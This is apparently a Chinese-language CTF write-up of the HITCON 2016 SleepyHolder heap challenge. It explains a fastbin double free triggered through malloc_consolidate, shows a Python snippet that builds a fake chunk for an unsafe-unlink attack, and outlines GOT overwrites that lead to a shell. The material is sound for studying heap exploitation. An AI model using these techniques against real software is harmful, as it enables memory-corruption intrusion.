前置

Ubuntu 16.04

使用how2heap脚本编译glibc2.25,其中的4是编译线程数。脚本中git clone慢,可以替换成tsinghua mirrors,把第83行的git clone git://sourceware.org/git/glibc.git "$SRC" 替换成 git clone https://mirrors.tuna.tsinghua.edu.cn/git/glibc.git "$SRC"

1
$ ./glibc_build.sh 2.25 -j 4 -disable-tcache

做这道题目使用了glibc2.25,patchelf --set-interpreter /path/to/ld-2.25.so /path/to/exe,patch之后再运行程序就自动使用同目录下libc-2.25.so。

题目分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

程序主要有以下三个功能

1
2
3
1. Keep secret
2. Wipe secret
3. Renew secret

Keep

1
2
3
4
5
6
7
if ( !flag )
{
    ptr = calloc(1, size);
    flag = 1;
    puts("Tell me your secret: ");
    read(0, ptr, size);
}

他可以分配的大小有small:40个字节,big:4000个字节,huge:400000个字节。flag表示其分配过没有,ptr来存储分配的指针,他们都是存储在bss段的全局变量。分别将他们称为small_ptr, small_flag; big_ptr, big_flag; huge_ptr, huge_flag,其布局如下

image-20200629161958717

Wipe

1
2
free(ptr);
flag = 0;

指定free某块,huge大小的块不可以free。这里没有检查flag,也没有进行指针的置0,可以进行多次分配。

Renew

1
2
3
4
5
if (flag)
{
    puts("Tell me your secret: ");
    read(0, ptr, size);
}

可以对块中的内容进行更新,也是除了huge。

漏洞分析

double free

正如fastbin_dup_consolidate中所所说的,使用malloc_consolidate可以造成fastbin的double free。第一次free fastbin会将其放到fastbin链表中,而后分配largebin,出于避免碎片化的目的,将会调用malloc_consolidate将fastbin中的chunk转移到unsortedbin并将相邻下一chunk的pre_in_use置0。后面遍历unsortedbin得不到使用,就会放到smallbin中。具体的过程可以看这张图片heap.png

下面是glibc中malloc largebin前调用malloc_consolidate的注释。(不知道为什么glibc缩进这么诡异。。)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
  /*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (atomic_load_relaxed (&av->have_fastchunks))
        malloc_consolidate (av);
    }

题目中的利用过程

1
2
3
4
5
keep(1, "a")
keep(2, "a")
wipe(1)
keep(3, "a")        # trigger malloc_consolidate
wipe(1)             # double free

题目中这个small大小的chunk,在放到unsortedbin中时,前chunk的pre_in_use位已经被清,第二次free回收fastbin中也没有检查,这里就可以利用unlink的攻击了。

再次分配此small块,在其中构造fake_chunk。free相邻的下一个big块,在它free过程中会进行前后chunk的探测,如果没有在使用就会进行合并。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// glibc release/2.25/master 4014~4031
/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size (p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

    /* consolidate forward */
    if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
    } else
        clear_inuse_bit_at_offset(nextchunk, 0);
    ...
}

在unlink中,会对fd->bk和bk->fd进行检查。

1
2
3
4
5
6
7
// glibc release/2.25/master 1384~1389
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

在题目中,可以非常巧妙地使用small_ptr处存储的变量来绕过检查。如下面所示

1
2
3
4
5
6
7
8
small_ptr = 0x6020D0
fake_fd = small_ptr - 0x18
fake_bk = small_ptr - 0x10
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(fake_fd) + p64(fake_bk) 
fake_chunk += p64(0x20)
keep(1, fake_chunk)			# prepare for unsafe unlink
wipe(2)

fake_fd->bkfake_bk->fd等于small_ptr,且为伪造chunk的起始地址。之后unlink中的

1
2
3
// glibc release/2.25/master 1391~1392
FD->bk = BK;							      \
BK->fd = FD;

就将small_ptr存储的地址,覆盖为fake_fd。

1
2
3
4
5
0x6020b0:	0x00007f0863f6b600	0x0000000000000000
0x6020c0:	0x0000000002308f00	0x00007f086412c010
0x6020d0:	0x00000000006020b8	0x0000000100000000
0x6020e0:	0x0000000000000001	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000

由之前的bss布局图可以看到0x6020d0处存储的就是small_ptr,所以可以使用renew(small)进行对这几个变量覆写。

后面就不在展开了,就是把free_got改写成puts_plt进行泄露,然后把atoi_got改写成system地址,输入sh\x00就可以获得shell。

exp

ref

  1. how2heap fastbin_dup_consolidate.c

  2. https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder